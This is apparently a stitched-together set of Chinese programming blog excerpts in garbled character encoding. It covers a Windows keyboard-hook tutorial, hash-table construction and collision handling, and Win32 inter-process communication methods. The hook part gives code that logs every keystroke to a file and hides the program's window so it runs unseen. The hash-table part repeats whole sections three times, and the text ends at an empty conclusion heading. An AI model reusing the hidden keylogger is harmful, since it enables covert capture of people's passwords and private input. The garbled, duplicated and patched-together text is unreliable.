雖然調(diào)用CallNextHookEx()是可選的,但調(diào)用此函數(shù)的習(xí)慣是很值得推薦的;否則的話,其他安裝了鉤子的應(yīng)用程序?qū)⒉粫?huì)接收到鉤子的通知而且還有可能產(chǎn)生不正確的結(jié)果,所以我們應(yīng)盡量調(diào)用該函數(shù)除非絕對(duì)需要阻止其他程序獲取通知。 …… void SaveLog(char* c) { CTime tm=CTime::GetCurrentTime(); CString name; name.Format("c://Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); CFile file; if(!file.Open(name,CFile::modeReadWrite)) { file.Open(name,CFile::modeCreate|CFile::modeReadWrite); } file.SeekToEnd(); file.Write(c,1); file.Close(); } 當(dāng)有鍵彈起的時(shí)候就通過此函數(shù)將剛彈起的鍵保存到記錄文件中從而實(shí)現(xiàn)對(duì)鍵盤進(jìn)行監(jiān)控記錄的目的。 編譯完成便可得到運(yùn)行時(shí)所需的鍵盤鉤子的動(dòng)態(tài)連接庫(kù)LaunchDLL.dll和進(jìn)行靜態(tài)鏈接時(shí)用到的LaunchDLL.lib。 2、下面開始編寫調(diào)用此動(dòng)態(tài)連接庫(kù)的主程序,并實(shí)現(xiàn)最后的集成: (1)用MFC的AppWizard(EXE)創(chuàng)建項(xiàng)目KeyHook; (2)選擇單文檔,其余幾步可均為確省; (3)把LaunchDLL.h和LaunchDLL.lib復(fù)制到KeyHook工程目錄中,LaunchDLL.dll復(fù)制到Debug目錄下。 (4)鏈接DLL庫(kù),即在"Project","Settings…"的"Link"屬性頁(yè)內(nèi),在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通過"Project","Add To Project","Files…"將LaunchDLL.h添加到工程中來,最后在視類的源文件KeyHook.cpp中加入對(duì)其的引用: #include "LaunchDLL.h" 這樣我們就可以象使用本工程內(nèi)的 函數(shù)一樣使用動(dòng)態(tài)連接庫(kù)LaunchDLL.dll中的所有導(dǎo)出函數(shù)了。 (5)在視類中添加虛函數(shù)OnInitialUpdate(),并添加代碼完成對(duì)鍵盤鉤子的安裝: …… InstallLaunchEv(); …… (6)到此為止其實(shí)已經(jīng)完成了所有的功能,但作為一個(gè)后臺(tái)監(jiān)控軟件,運(yùn)行時(shí)并不希望有界面,可以在應(yīng)用程序類CkeyHookApp的InitInstance()函數(shù)中將m_pMainWnd->ShowWindow(SW_SHOW);改為m_pMainWnd->ShowWindow(SW_HIDE);即可。 四、運(yùn)行與檢測(cè) 編譯運(yùn)行程序,運(yùn)行起來之后并無什么現(xiàn)象,但通過Alt+Ctrl+Del在關(guān)閉程序?qū)υ捒騼?nèi)可以找到我們剛編寫完畢的程序"KeyHook",隨便在什么程序中通過鍵盤輸入字符,然后打開記錄文件,我們會(huì)發(fā)現(xiàn):通過鍵盤鉤子,我們剛才輸入的字符都被記錄到記錄文件中了。 小結(jié):系統(tǒng)鉤子具有相當(dāng)強(qiáng)大的功能,通過這種技術(shù)可以對(duì)幾乎所有的Windows系統(tǒng)消息進(jìn)行攔截、監(jiān)視、處理。這種技術(shù)廣泛應(yīng)用于各種自動(dòng)監(jiān)控系統(tǒng)中。
鉤子在使用完之后需要用UnHookWindowsHookEx()卸載,否則會(huì)造成麻煩。釋放鉤子比較簡(jiǎn)單,UnHookWindowsHookEx()只有一個(gè)參數(shù)。函數(shù)原型如下:
1 UnHookWindowsHookEx
2 (
3 HHOOK hhk;
4 );
函數(shù)成功返回TRUE,否則返回FALSE。可以再LaunchDLL工程中增加卸載鉤子的函數(shù)如下:
DllExport void WINAPI UninstallLaunchEv()
{
if (Hook)
{
UnhookWindowsHookEx(Hook); //uninstall hook!!
Hook = NULL;
}
}
程序退出時(shí)可以卸載鉤子。
本文轉(zhuǎn)自:http://blog.csdn.net/jaminwm/article/details/463940
散列表(Hash table,也叫哈希表),是根據(jù)關(guān)鍵碼值(Key value)而直接進(jìn)行訪問的數(shù)據(jù)結(jié)構(gòu)。也就是說,它通過把關(guān)鍵碼值映射到表中一個(gè)位置來訪問記錄,以加快查找的速度。這個(gè)映射函數(shù)叫做散列函數(shù),存放記錄的數(shù)組叫做散列表。
哈希表算法-哈希表的構(gòu)造方法
1、直接定址法
例如:有一個(gè)從1到100歲的人口數(shù)字統(tǒng)計(jì)表,其中,年齡作為關(guān)鍵字,哈希函數(shù)取關(guān)鍵字自身。
但這種方法效率不高,時(shí)間復(fù)雜度是O(1),空間復(fù)雜度是O(n),n是關(guān)鍵字的個(gè)數(shù)
哈希表算法
2、數(shù)字分析法
有學(xué)生的生日數(shù)據(jù)如下:
年.月.日
75.10.03
75.11.23
76.03.02
76.07.12
75.04.21
76.02.15
...
經(jīng)分析,第一位,第二位,第三位重復(fù)的可能性大,取這三位造成沖突的機(jī)會(huì)增加,所以盡量不取前三位,取后三位比較好。
3、平方取中法
取關(guān)鍵字平方后的中間幾位為哈希地址。
4、折疊法
將關(guān)鍵字分割成位數(shù)相同的幾部分(最后一部分的位數(shù)可以不同),然后取這幾部分的疊加和(舍去進(jìn)位)作為哈希地址,這方法稱為折疊法。
例如:每一種西文圖書都有一個(gè)國(guó)際標(biāo)準(zhǔn)圖書編號(hào),它是一個(gè)10位的十進(jìn)制數(shù)字,若要以它作關(guān)鍵字建立一個(gè)哈希表,當(dāng)館藏書種類不到10,000時(shí),可采用此法構(gòu)造一個(gè)四位數(shù)的哈希函數(shù)。如果一本書的編號(hào)為0-442-20586-4,則:
哈希表算法
5、除留余數(shù)法
取關(guān)鍵字被某個(gè)不大于哈希表表長(zhǎng)m的數(shù)p除后所得余數(shù)為哈希地址。
H(key)=key MOD p (p<=m)
6、隨機(jī)數(shù)法
選擇一個(gè)隨機(jī)函數(shù),取關(guān)鍵字的隨機(jī)函數(shù)值為它的哈希地址,即
H(key)=random(key) ,其中random為隨機(jī)函數(shù)。通常用于關(guān)鍵字長(zhǎng)度不等時(shí)采用此法。
5、除留余數(shù)法
取關(guān)鍵字被某個(gè)不大于哈希表表長(zhǎng)m的數(shù)p除后所得余數(shù)為哈希地址。
H(key)=key MOD p (p<=m)
6、隨機(jī)數(shù)法
選擇一個(gè)隨機(jī)函數(shù),取關(guān)鍵字的隨機(jī)函數(shù)值為它的哈希地址,即
H(key)=random(key) ,其中random為隨機(jī)函數(shù)。通常用于關(guān)鍵字長(zhǎng)度不等時(shí)采用此法。
5、除留余數(shù)法
取關(guān)鍵字被某個(gè)不大于哈希表表長(zhǎng)m的數(shù)p除后所得余數(shù)為哈希地址。
H(key)=key MOD p (p<=m)
6、隨機(jī)數(shù)法
選擇一個(gè)隨機(jī)函數(shù),取關(guān)鍵字的隨機(jī)函數(shù)值為它的哈希地址,即
H(key)=random(key) ,其中random為隨機(jī)函數(shù)。通常用于關(guān)鍵字長(zhǎng)度不等時(shí)采用此法。
處理沖突的方法 通常有兩類方法處理沖突:開放定址(Open Addressing)法和拉鏈(Chaining)法。前者是將所有結(jié)點(diǎn)均存放在散列表T[0..m-1]中;后者通常是將互為同義詞的結(jié)點(diǎn)鏈成一個(gè)單鏈表,而將此鏈表的頭指針放在散列表T[0..m-1]中。1、開放定址法(1)開放地址法解決沖突的方法 用開放定址法解決沖突的做法是:當(dāng)沖突發(fā)生時(shí),使用某種探查(亦稱探測(cè))技術(shù)在散列表中形成一個(gè)探查(測(cè))序列。沿此序列逐個(gè)單元地查找,直到找到給定 的關(guān)鍵字,或者碰到一個(gè)開放的地址(即該地址單元為空)為止(若要插入,在探查到開放的地址,則可將待插入的新結(jié)點(diǎn)存人該地址單元)。查找時(shí)探查到開放的 地址則表明表中無待查的關(guān)鍵字,即查找失敗。注意:①用開放定址法建立散列表時(shí),建表前須將表中所有單元(更嚴(yán)格地說,是指單元中存儲(chǔ)的關(guān)鍵字)置空。②空單元的表示與具體的應(yīng)用相關(guān)。【例】關(guān)鍵字均為非負(fù)數(shù)時(shí),可用"-1"來表示空單元,而關(guān)鍵字為字符串時(shí),空單元應(yīng)是空串。總之:應(yīng)該用一個(gè)不會(huì)出現(xiàn)的關(guān)鍵字來表示空單元。(2)開放地址法的一般形式開放定址法的一般形式為: hi=(h(key)+di)%m 1≤i≤m-1 其中: ①h(key)為散列函數(shù),di為增量序列,m為表長(zhǎng)。 ②h(key)是初始的探查位置,后續(xù)的探查位置依次是hl,h2,…,hm-1,即h(key),hl,h2,…,hm-1形成了一個(gè)探查序列。 ③若令開放地址一般形式的i從0開始,并令d0=0,則h0=h(key),則有:hi=(h(key)+di)%m 0≤i≤m-1 探查序列可簡(jiǎn)記為hi(0≤i≤m-1)。(3)開放地址法堆裝填因子的要求 開放定址法要求散列表的裝填因子α≤l,實(shí)用中取α為0.5到0.9之間的某個(gè)值為宜。(4)形成探測(cè)序列的方法 按照形成探查序列的方法不同,可將開放定址法區(qū)分為線性探查法、二次探查法、雙重散列法等。①線性探查法(Linear Probing)該方法的基本思想是:將散列表T[0..m-1]看成是一個(gè)循環(huán)向量,若初始探查的地址為d(即h(key)=d),則最長(zhǎng)的探查序列為:d,d+l,d+2,…,m-1,0,1,…,d-1 即:探查時(shí)從地址d開始,首先探查T[d],然后依次探查T[d+1],…,直到T[m-1],此后又循環(huán)到T[0],T[1],…,直到探查到T[d-1]為止。探查過程終止于三種情況: (1)若當(dāng)前探查的單元為空,則表示查找失敗(若是插入則將key寫入其中); (2)若當(dāng)前探查的單元中含有key,則查找成功,但對(duì)于插入意味著失敗; (3)若探查到T[d-1]時(shí)仍未發(fā)現(xiàn)空單元也未找到key,則無論是查找還是插入均意味著失敗(此時(shí)表滿)。利用開放地址法的一般形式,線性探查法的探查序列為:hi=(h(key)+i)%m 0≤i≤m-1 //即di=i利用線性探測(cè)法構(gòu)造散列表【例9.1】已知一組關(guān)鍵字為(26,36,41,38,44,15,68,12,06,51),用除余法構(gòu)造散列函數(shù),用線性探查法解決沖突構(gòu)造這組關(guān)鍵字的散列表。解答:為了減少?zèng)_突,通常令裝填因子α 由除余法的散列函數(shù)計(jì)算出的上述關(guān)鍵字序列的散列地址為(0,10,2,12,5,2,3,12,6,12)。 前5個(gè)關(guān)鍵字插入時(shí),其相應(yīng)的地址均為開放地址,故將它們直接插入T[0],T[10),T[2],T[12]和T[5]中。 當(dāng)插入第6個(gè)關(guān)鍵字15時(shí),其散列地址2(即h(15)=15%13=2)已被關(guān)鍵字41(15和41互為同義詞)占用。故探查h1=(2+1)%13=3,此地址開放,所以將15放入T[3]中。 當(dāng)插入第7個(gè)關(guān)鍵字68時(shí),其散列地址3已被非同義詞15先占用,故將其插入到T[4]中。 當(dāng)插入第8個(gè)關(guān)鍵字12時(shí),散列地址12已被同義詞38占用,故探查hl=(12+1)%13=0,而T[0]亦被26占用,再探查h2=(12+2)%13=1,此地址開放,可將12插入其中。 類似地,第9個(gè)關(guān)鍵字06直接插入T[6]中;而最后一個(gè)關(guān)鍵字51插人時(shí),因探查的地址12,0,1,…,6均非空,故51插入T[7]中。 構(gòu)造散列表的具體過程【參見動(dòng)畫演示】聚集或堆積現(xiàn)象用線性探查法解決沖突時(shí),當(dāng)表中i,i+1,…,i+k的位置上已有結(jié)點(diǎn)時(shí),一個(gè)散列地址為i,i+1,…,i+k+1的結(jié)點(diǎn)都將插入在位置i+k+1 上。把這種散列地址不同的結(jié)點(diǎn)爭(zhēng)奪同一個(gè)后繼散列地址的現(xiàn)象稱為聚集或堆積(Clustering)。這將造成不是同義詞的結(jié)點(diǎn)也處在同一個(gè)探查序列之 中,從而增加了探查序列的長(zhǎng)度,即增加了查找時(shí)間。若散列函數(shù)不好或裝填因子過大,都會(huì)使堆積現(xiàn)象加劇。【例】上例中,h(15)=2,h(68)=3,即15和68不是同義詞。但由于處理15和同義詞41的沖突時(shí),15搶先占用了T[3],這就使得插入68時(shí),這兩個(gè)本來不應(yīng)該發(fā)生沖突的非同義詞之間也會(huì)發(fā)生沖突。 為了減少堆積的發(fā)生,不能像線性探查法那樣探查一個(gè)順序的地址序列(相當(dāng)于順序查找),而應(yīng)使探查序列跳躍式地散列在整個(gè)散列表中。②二次探查法(Quadratic Probing) 二次探查法的探查序列是:hi=(h(key)+i*i)%m 0≤i≤m-1 //即di=i2即探查序列為d=h(key),d+12,d+22,…,等。 該方法的缺陷是不易探查到整個(gè)散列空間。③雙重散列法(Double Hashing) 該方法是開放定址法中最好的方法之一,它的探查序列是:hi=(h(key)+i*h1(key))%m 0≤i≤m-1 //即di=i*h1(key) 即探查序列為:d=h(key),(d+h1(key))%m,(d+2h1(key))%m,…,等。 該方法使用了兩個(gè)散列函數(shù)h(key)和h1(key),故也稱為雙散列函數(shù)探查法。注意:定義h1(key)的方法較多,但無論采用什么方法定義,都必須使h1(key)的值和m互素,才能使發(fā)生沖突的同義詞地址均勻地分布在整個(gè)表中,否則可能造成同義詞地址的循環(huán)計(jì)算。【例】若m為素?cái)?shù),則h1(key)取1到m-1之間的任何數(shù)均與m互素,因此,我們可以簡(jiǎn)單地將它定義為:h1(key)=key%(m-2)+1【例】對(duì)例9.1,我們可取h(key)=key%13,而h1(key)=key%11+1。【例】若m是2的方冪,則h1(key)可取1到m-1之間的任何奇數(shù)。2、拉鏈法(1)拉鏈法解決沖突的方法 拉鏈法解決沖突的做法是:將所有關(guān)鍵字為同義詞的結(jié)點(diǎn)鏈接在同一個(gè)單鏈表中。若選定的散列表長(zhǎng)度為m,則可將散列表定義為一個(gè)由m個(gè)頭指針組成的指針數(shù) 組T[0..m-1]。凡是散列地址為i的結(jié)點(diǎn),均插入到以T[i]為頭指針的單鏈表中。T中各分量的初值均應(yīng)為空指針。在拉鏈法中,裝填因子α可以大于 1,但一般均取α≤1。【例9.2】已知一組關(guān)鍵字和選定的散列函數(shù)和例9.1相同,用拉鏈法解決沖突構(gòu)造這組關(guān)鍵字的散列表。解答:不妨和例9.1類似,取表長(zhǎng)為13,故散列函數(shù)為h(key)=key%13,散列表為T[0..12]。注意:當(dāng)把h(key)=i的關(guān)鍵字插入第i個(gè)單鏈表時(shí),既可插入在鏈表的頭上,也可以插在鏈表的尾上。這是因?yàn)楸仨毚_定key不在第i個(gè)鏈表時(shí),才能將它插入 表中,所以也就知道鏈尾結(jié)點(diǎn)的地址。若采用將新關(guān)鍵字插入鏈尾的方式,依次把給定的這組關(guān)鍵字插入表中,則所得到的散列表如下圖所示。 具體構(gòu)造過程【參見動(dòng)畫演示】。
(2)拉鏈法的優(yōu)點(diǎn) 與開放定址法相比,拉鏈法有如下幾個(gè)優(yōu)點(diǎn):(1)拉鏈法處理沖突簡(jiǎn)單,且無堆積現(xiàn)象,即非同義詞決不會(huì)發(fā)生沖突,因此平均查找長(zhǎng)度較短;(2)由于拉鏈法中各鏈表上的結(jié)點(diǎn)空間是動(dòng)態(tài)申請(qǐng)的,故它更適合于造表前無法確定表長(zhǎng)的情況;(3)開放定址法為減少?zèng)_突,要求裝填因子α較小,故當(dāng)結(jié)點(diǎn)規(guī)模較大時(shí)會(huì)浪費(fèi)很多空間。而拉鏈法中可取α≥1,且結(jié)點(diǎn)較大時(shí),拉鏈法中增加的指針域可忽略不計(jì),因此節(jié)省空間;(4)在用拉鏈法構(gòu)造的散列表中,刪除結(jié)點(diǎn)的操作易于實(shí)現(xiàn)。只要簡(jiǎn)單地刪去鏈表上相應(yīng)的結(jié)點(diǎn)即可。而對(duì)開放地址法構(gòu)造的散列表,刪除結(jié)點(diǎn)不能簡(jiǎn)單地將 被刪結(jié)點(diǎn)的空間置為空,否則將截?cái)嘣谒筇钊松⒘斜淼耐x詞結(jié)點(diǎn)的查找路徑。這是因?yàn)楦鞣N開放地址法中,空地址單元(即開放地址)都是查找失敗的條件。 因此在用開放地址法處理沖突的散列表上執(zhí)行刪除操作,只能在被刪結(jié)點(diǎn)上做刪除標(biāo)記,而不能真正刪除結(jié)點(diǎn)。(3)拉鏈法的缺點(diǎn) 拉鏈法的缺點(diǎn)是:指針需要額外的空間,故當(dāng)結(jié)點(diǎn)規(guī)模較小時(shí),開放定址法較為節(jié)省空間,而若將節(jié)省的指針空間用來擴(kuò)大散列表的規(guī)模,可使裝填因子變小,這又減少了開放定址法中的沖突,從而提高平均查找速度。本文轉(zhuǎn)自:http://bbs.csdn.net/topics/320198804
http://www.cnblogs.com/jiewei915/archive/2010/08/09/1796042.html
Win32應(yīng)用程序中進(jìn)程間通信方法分析與比較
來源:Intetnet
1 進(jìn)程與進(jìn)程通信
進(jìn)程是裝入內(nèi)存并準(zhǔn)備執(zhí)行的程序,每個(gè)進(jìn)程都有私有的虛擬地址空間,由代碼、數(shù)據(jù)以及它可利用的系統(tǒng)資源(如文件、管道等)組成。多進(jìn)程/多線程是Windows操作系統(tǒng)的一個(gè)基本特征。Microsoft Win32應(yīng)用編程接口(Application Programming Interface, API)提供了大量支持應(yīng)用程序間數(shù)據(jù)共享和交換的機(jī)制,這些機(jī)制行使的活動(dòng)稱為進(jìn)程間通信(InterProcess Communication, IPC),進(jìn)程通信就是指不同進(jìn)程間進(jìn)行數(shù)據(jù)共享和數(shù)據(jù)交換。
正因?yàn)槭褂?/span>Win32 API進(jìn)行進(jìn)程通信方式有多種,如何選擇恰當(dāng)?shù)耐ㄐ欧绞骄统蔀閼?yīng)用開發(fā)中的一個(gè)重要問題,下面本文將對(duì)Win32中進(jìn)程通信的幾種方法加以分析和比較。
2 進(jìn)程通信方法
2.1 文件映射
文件映射(Memory-Mapped Files)能使進(jìn)程把文件內(nèi)容當(dāng)作進(jìn)程地址區(qū)間一塊內(nèi)存那樣來對(duì)待。因此,進(jìn)程不必使用文件I/O操作,只需簡(jiǎn)單的指針操作就可讀取和修改文件的內(nèi)容。
Win32 API允許多個(gè)進(jìn)程訪問同一文件映射對(duì)象,各個(gè)進(jìn)程在它自己的地址空間里接收內(nèi)存的指針。通過使用這些指針,不同進(jìn)程就可以讀或修改文件的內(nèi)容,實(shí)現(xiàn)了對(duì)文件中數(shù)據(jù)的共享。
應(yīng)用程序有三種方法來使多個(gè)進(jìn)程共享一個(gè)文件映射對(duì)象。
(1)繼承:第一個(gè)進(jìn)程建立文件映射對(duì)象,它的子進(jìn)程繼承該對(duì)象的句柄。
(2)命名文件映射:第一個(gè)進(jìn)程在建立文件映射對(duì)象時(shí)可以給該對(duì)象指定一個(gè)名字(可與文件名不同)。第二個(gè)進(jìn)程可通過這個(gè)名字打開此文件映射對(duì)象。另外,第一個(gè)進(jìn)程也可以通過一些其它IPC機(jī)制(有名管道、郵件槽等)把名字傳給第二個(gè)進(jìn)程。
(3)句柄復(fù)制:第一個(gè)進(jìn)程建立文件映射對(duì)象,然后通過其它IPC機(jī)制(有名管道、郵件槽等)把對(duì)象句柄傳遞給第二個(gè)進(jìn)程。第二個(gè)進(jìn)程復(fù)制該句柄就取得對(duì)該文件映射對(duì)象的訪問權(quán)限。
文件映射是在多個(gè)進(jìn)程間共享數(shù)據(jù)的非常有效方法,有較好的安全性。但文件映射只能用于本地機(jī)器的進(jìn)程之間,不能用于網(wǎng)絡(luò)中,而開發(fā)者還必須控制進(jìn)程間的同步。
2.2 共享內(nèi)存
Win32 API中共享內(nèi)存(Shared Memory)實(shí)際就是文件映射的一種特殊情況。進(jìn)程在創(chuàng)建文件映射對(duì)象時(shí)用0xFFFFFFFF來代替文件句柄(HANDLE),就表示了對(duì)應(yīng)的文件映射對(duì)象是從操作系統(tǒng)頁(yè)面文件訪問內(nèi)存,其它進(jìn)程打開該文件映射對(duì)象就可以訪問該內(nèi)存塊。由于共享內(nèi)存是用文件映射實(shí)現(xiàn)的,所以它也有較好的安全性,也只能運(yùn)行于同一計(jì)算機(jī)上的進(jìn)程之間。
2.3 匿名管道
管道(Pipe)是一種具有兩個(gè)端點(diǎn)的通信通道:有一端句柄的進(jìn)程可以和有另一端句柄的進(jìn)程通信。管道可以是單向-一端是只讀的,另一端點(diǎn)是只寫的;也可以是雙向的一管道的兩端點(diǎn)既可讀也可寫。
匿名管道(Anonymous Pipe)是在父進(jìn)程和子進(jìn)程之間,或同一父進(jìn)程的兩個(gè)子進(jìn)程之間傳輸數(shù)據(jù)的無名字的單向管道。通常由父進(jìn)程創(chuàng)建管道,然后由要通信的子進(jìn)程繼承通道的讀端點(diǎn)句柄或?qū)懚它c(diǎn)句柄,然后實(shí)現(xiàn)通信。父進(jìn)程還可以建立兩個(gè)或更多個(gè)繼承匿名管道讀和寫句柄的子進(jìn)程。這些子進(jìn)程可以使用管道直接通信,不需要通過父進(jìn)程。
匿名管道是單機(jī)上實(shí)現(xiàn)子進(jìn)程標(biāo)準(zhǔn)I/O重定向的有效方法,它不能在網(wǎng)上使用,也不能用于兩個(gè)不相關(guān)的進(jìn)程之間。
2.4 命名管道
命名管道(Named Pipe)是服務(wù)器進(jìn)程和一個(gè)或多個(gè)客戶進(jìn)程之間通信的單向或雙向管道。不同于匿名管道的是命名管道可以在不相關(guān)的進(jìn)程之間和不同計(jì)算機(jī)之間使用,服務(wù)器建立命名管道時(shí)給它指定一個(gè)名字,任何進(jìn)程都可以通過該名字打開管道的另一端,根據(jù)給定的權(quán)限和服務(wù)器進(jìn)程通信。
命名管道提供了相對(duì)簡(jiǎn)單的編程接口,使通過網(wǎng)絡(luò)傳輸數(shù)據(jù)并不比同一計(jì)算機(jī)上兩進(jìn)程之間通信更困難,不過如果要同時(shí)和多個(gè)進(jìn)程通信它就力不從心了。
2.5 郵件槽
郵件槽(Mailslots)提供進(jìn)程間單向通信能力,任何進(jìn)程都能建立郵件槽成為郵件槽服務(wù)器。其它進(jìn)程,稱為郵件槽客戶,可以通過郵件槽的名字給郵件槽服務(wù)器進(jìn)程發(fā)送消息。進(jìn)來的消息一直放在郵件槽中,直到服務(wù)器進(jìn)程讀取它為止。一個(gè)進(jìn)程既可以是郵件槽服務(wù)器也可以是郵件槽客戶,因此可建立多個(gè)郵件槽實(shí)現(xiàn)進(jìn)程間的雙向通信。
通過郵件槽可以給本地計(jì)算機(jī)上的郵件槽、其它計(jì)算機(jī)上的郵件槽或指定網(wǎng)絡(luò)區(qū)域中所有計(jì)算機(jī)上有同樣名字的郵件槽發(fā)送消息。廣播通信的消息長(zhǎng)度不能超過400字節(jié),非廣播消息的長(zhǎng)度則受郵件槽服務(wù)器指定的最大消息長(zhǎng)度的限制。
郵件槽與命名管道相似,不過它傳輸數(shù)據(jù)是通過不可靠的數(shù)據(jù)報(bào)(如TCP/IP協(xié)議中的UDP包)完成的,一旦網(wǎng)絡(luò)發(fā)生錯(cuò)誤則無法保證消息正確地接收,而命名管道傳輸數(shù)據(jù)則是建立在可靠連接基礎(chǔ)上的。不過郵件槽有簡(jiǎn)化的編程接口和給指定網(wǎng)絡(luò)區(qū)域內(nèi)的所有計(jì)算機(jī)廣播消息的能力,所以郵件槽不失為應(yīng)用程序發(fā)送和接收消息的另一種選擇。
2.6 剪貼板
剪貼板(Clipped Board)實(shí)質(zhì)是Win32 API中一組用來傳輸數(shù)據(jù)的函數(shù)和消息,為Windows應(yīng)用程序之間進(jìn)行數(shù)據(jù)共享提供了一個(gè)中介,Windows已建立的剪切(復(fù)制)-粘貼的機(jī)制為不同應(yīng)用程序之間共享不同格式數(shù)據(jù)提供了一條捷徑。當(dāng)用戶在應(yīng)用程序中執(zhí)行剪切或復(fù)制操作時(shí),應(yīng)用程序把選取的數(shù)據(jù)用一種或多種格式放在剪貼板上。然后任何其它應(yīng)用程序都可以從剪貼板上拾取數(shù)據(jù),從給定格式中選擇適合自己的格式。
剪貼板是一個(gè)非常松散的交換媒介,可以支持任何數(shù)據(jù)格式,每一格式由一無符號(hào)整數(shù)標(biāo)識(shí),對(duì)標(biāo)準(zhǔn)(預(yù)定義)剪貼板格式,該值是Win32 API定義的常量;對(duì)非標(biāo)準(zhǔn)格式可以使用Register Clipboard Format函數(shù)注冊(cè)為新的剪貼板格式。利用剪貼板進(jìn)行交換的數(shù)據(jù)只需在數(shù)據(jù)格式上一致或都可以轉(zhuǎn)化為某種格式就行。但剪貼板只能在基于Windows的程序中使用,不能在網(wǎng)絡(luò)上使用。
2.7 動(dòng)態(tài)數(shù)據(jù)交換
動(dòng)態(tài)數(shù)據(jù)交換(DDE)是使用共享內(nèi)存在應(yīng)用程序之間進(jìn)行數(shù)據(jù)交換的一種進(jìn)程間通信形式。應(yīng)用程序可以使用DDE進(jìn)行一次性數(shù)據(jù)傳輸,也可以當(dāng)出現(xiàn)新數(shù)據(jù)時(shí),通過發(fā)送更新值在應(yīng)用程序間動(dòng)態(tài)交換數(shù)據(jù)。
DDE和剪貼板一樣既支持標(biāo)準(zhǔn)數(shù)據(jù)格式(如文本、位圖等),又可以支持自己定義的數(shù)據(jù)格式。但它們的數(shù)據(jù)傳輸機(jī)制卻不同,一個(gè)明顯區(qū)別是剪貼板操作幾乎總是用作對(duì)用戶指定操作的一次性應(yīng)答-如從菜單中選擇Paste命令。盡管DDE也可以由用戶啟動(dòng),但它繼續(xù)發(fā)揮作用一般不必用戶進(jìn)一步干預(yù)。DDE有三種數(shù)據(jù)交換方式:
(1) 冷鏈:數(shù)據(jù)交換是一次性數(shù)據(jù)傳輸,與剪貼板相同。
(2) 溫鏈:當(dāng)數(shù)據(jù)交換時(shí)服務(wù)器通知客戶,然后客戶必須請(qǐng)求新的數(shù)據(jù)。
(3) 熱鏈:當(dāng)數(shù)據(jù)交換時(shí)服務(wù)器自動(dòng)給客戶發(fā)送數(shù)據(jù)。
DDE交換可以發(fā)生在單機(jī)或網(wǎng)絡(luò)中不同計(jì)算機(jī)的應(yīng)用程序之間。開發(fā)者還可以定義定制的DDE數(shù)據(jù)格式進(jìn)行應(yīng)用程序之間特別目的IPC,它們有更緊密耦合的通信要求。大多數(shù)基于Windows的應(yīng)用程序都支持DDE。
2.8 對(duì)象連接與嵌入
應(yīng)用程序利用對(duì)象連接與嵌入(OLE)技術(shù)管理復(fù)合文檔(由多種數(shù)據(jù)格式組成的文檔),OLE提供使某應(yīng)用程序更容易調(diào)用其它應(yīng)用程序進(jìn)行數(shù)據(jù)編輯的服務(wù)。例如,OLE支持的字處理器可以嵌套電子表格,當(dāng)用戶要編輯電子表格時(shí)OLE庫(kù)可自動(dòng)啟動(dòng)電子表格編輯器。當(dāng)用戶退出電子表格編輯器時(shí),該表格已在原始字處理器文檔中得到更新。在這里電子表格編輯器變成了字處理器的擴(kuò)展,而如果使用DDE,用戶要顯式地啟動(dòng)電子表格編輯器。
同DDE技術(shù)相同,大多數(shù)基于Windows的應(yīng)用程序都支持OLE技術(shù)。
2.9 動(dòng)態(tài)連接庫(kù)
Win32動(dòng)態(tài)連接庫(kù)(DLL)中的全局?jǐn)?shù)據(jù)可以被調(diào)用DLL的所有進(jìn)程共享,這就又給進(jìn)程間通信開辟了一條新的途徑,當(dāng)然訪問時(shí)要注意同步問題。
雖然可以通過DLL進(jìn)行進(jìn)程間數(shù)據(jù)共享,但從數(shù)據(jù)安全的角度考慮,我們并不提倡這種方法,使用帶有訪問權(quán)限控制的共享內(nèi)存的方法更好一些。
2.10 遠(yuǎn)程過程調(diào)用
Win32 API提供的遠(yuǎn)程過程調(diào)用(RPC)使應(yīng)用程序可以使用遠(yuǎn)程調(diào)用函數(shù),這使在網(wǎng)絡(luò)上用RPC進(jìn)行進(jìn)程通信就像函數(shù)調(diào)用那樣簡(jiǎn)單。RPC既可以在單機(jī)不同進(jìn)程間使用也可以在網(wǎng)絡(luò)中使用。
由于Win32 API提供的RPC服從OSF-DCE(Open Software Foundation Distributed Computing Environment)標(biāo)準(zhǔn)。所以通過Win32 API編寫的RPC應(yīng)用程序能與其它操作系統(tǒng)上支持DEC的RPC應(yīng)用程序通信。使用RPC開發(fā)者可以建立高性能、緊密耦合的分布式應(yīng)用程序。
2.11 NetBios函數(shù)
Win32 API提供NetBios函數(shù)用于處理低級(jí)網(wǎng)絡(luò)控制,這主要是為IBM NetBios系統(tǒng)編寫與Windows的接口。除非那些有特殊低級(jí)網(wǎng)絡(luò)功能要求的應(yīng)用程序,其它應(yīng)用程序最好不要使用NetBios函數(shù)來進(jìn)行進(jìn)程間通信。
2.12 Sockets
Windows Sockets規(guī)范是以U.C.Berkeley大學(xué)BSD UNIX中流行的Socket接口為范例定義的一套Windows下的網(wǎng)絡(luò)編程接口。除了Berkeley Socket原有的庫(kù)函數(shù)以外,還擴(kuò)展了一組針對(duì)Windows的函數(shù),使程序員可以充分利用Windows的消息機(jī)制進(jìn)行編程。
現(xiàn)在通過Sockets實(shí)現(xiàn)進(jìn)程通信的網(wǎng)絡(luò)應(yīng)用越來越多,這主要的原因是Sockets的跨平臺(tái)性要比其它IPC機(jī)制好得多,另外WinSock 2.0不僅支持TCP/IP協(xié)議,而且還支持其它協(xié)議(如IPX)。Sockets的唯一缺點(diǎn)是它支持的是底層通信操作,這使得在單機(jī)的進(jìn)程間進(jìn)行簡(jiǎn)單數(shù)據(jù)傳遞不太方便,這時(shí)使用下面將介紹的WM_COPYDATA消息將更合適些。
2.13 WM_COPYDATA消息
WM_COPYDATA是一種非常強(qiáng)大卻鮮為人知的消息。當(dāng)一個(gè)應(yīng)用向另一個(gè)應(yīng)用傳送數(shù)據(jù)時(shí),發(fā)送方只需使用調(diào)用SendMessage函數(shù),參數(shù)是目的窗口的句柄、傳遞數(shù)據(jù)的起始地址、WM_COPYDATA消息。接收方只需像處理其它消息那樣處理WM_COPY DATA消息,這樣收發(fā)雙方就實(shí)現(xiàn)了數(shù)據(jù)共享。
WM_COPYDATA是一種非常簡(jiǎn)單的方法,它在底層實(shí)際上是通過文件映射來實(shí)現(xiàn)的。它的缺點(diǎn)是靈活性不高,并且它只能用于Windows平臺(tái)的單機(jī)環(huán)境下。
3 結(jié)束語(yǔ)
